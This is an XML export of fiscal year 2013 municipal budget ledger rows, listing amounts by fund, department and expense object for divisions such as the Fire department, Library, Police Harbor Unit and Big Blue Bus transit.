<row _id="492"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>14378.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14378.0</total></row>
<row _id="493"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16216.5</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16216.5</total></row>
<row _id="494"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13852.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13852.0</total></row>
<row _id="495"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511030.0</object><object_description>DIVE PAY</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>162</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16362.0</total></row>
<row _id="496"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544030.0</object><object_description>BADGE / AWARD / NAME PLATES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="497"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17238.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17238.0</total></row>
<row _id="498"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11855827.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11855827.0</total></row>
<row _id="499"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>117180.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>117180.0</total></row>
<row _id="500"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4080.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4080.0</total></row>
<row _id="501"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="502"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522042.0</object><object_description>RECOVERY FROM SUBROGATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-110000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-110000.0</total></row>
<row _id="503"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3400368.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>34004</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3434372.0</total></row>
<row _id="504"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522912.0</object><object_description>OIL FOR REVENUE EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>150000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="505"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>24108.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24108.0</total></row>
<row _id="506"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>293058.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>293058.0</total></row>
<row _id="507"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="508"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="509"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="510"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="511"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="512"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="513"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1850.0</total></row>
<row _id="514"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="515"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1350.0</total></row>
<row _id="516"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="517"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>594368.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5944</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600312.0</total></row>
<row _id="518"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533240.0</object><object_description>PIER MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16499.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16499.0</total></row>
<row _id="519"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>73144.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>73144.0</total></row>
<row _id="520"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>75384.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75384.0</total></row>
<row _id="521"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15912.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15912.0</total></row>
<row _id="522"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555012.0</object><object_description>OUTSIDE REPAIRS - SERVICE VEHC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>39900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39900.0</total></row>
<row _id="523"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522624.0</object><object_description>JOINT FACILITIES RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="524"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12652.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12652.0</total></row>
<row _id="525"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3120.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3120.0</total></row>
<row _id="526"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5457.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5457.0</total></row>
<row _id="527"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544220.0</object><object_description>REPAIR PARTS AND MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1150175.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1150175.0</total></row>
<row _id="528"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1083546.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-68644</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1014902.0</total></row>
<row _id="529"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2850.0</total></row>
<row _id="530"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="531"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="532"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>63320.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63320.0</total></row>
<row _id="533"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1800.0</total></row>
<row _id="534"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6304.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6304.0</total></row>
<row _id="535"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="536"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="537"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10857.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10857.0</total></row>
<row _id="538"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>520.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>520.0</total></row>
<row _id="539"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533560.0</object><object_description>CONF / MTGS / TRAVEL-PO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6965.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6965.0</total></row>
